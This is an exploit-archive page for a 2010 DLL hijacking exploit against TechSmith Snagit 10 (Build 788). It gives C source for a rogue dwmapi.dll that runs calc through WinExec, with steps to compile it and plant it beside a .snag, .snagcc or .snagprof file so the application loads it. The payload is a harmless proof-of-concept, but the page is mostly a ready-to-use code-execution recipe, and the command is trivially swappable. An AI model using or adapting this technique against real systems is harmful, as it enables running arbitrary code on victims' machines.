[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : TechSmith Snagit 10 (Build 788) DLL Hijacking Exploit (dwmapi.dll)
# Published : 2010-08-25
# Author : Encrypt3d.M!nd
# Previous Title : Mediaplayer Classic 1.3.2189.0 DLL Hijacking Exploit (iacenc.dll)
# Next Title : MOAUB #12 - Adobe Acrobat and Reader "pushstring" Memory Corruption


/*
TechSmith Snagit 10 (Build 788) Dll Hijacking Exploit
By: Encrypt3d.M!nd
Date: 2582010
Download: http://www.techsmith.com/download/snagittrial.asp

Details:
Compile the following code and rename it to dwmapi.dl
and place file with one of the affected types in the same directory of the dll

Affected types: snag , snagcc , snagprof

Code :(used the one from this advisory:http://www.exploit-db.com/exploits/14758/):
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: http://www.exploit-db.com/sploits/14764.zip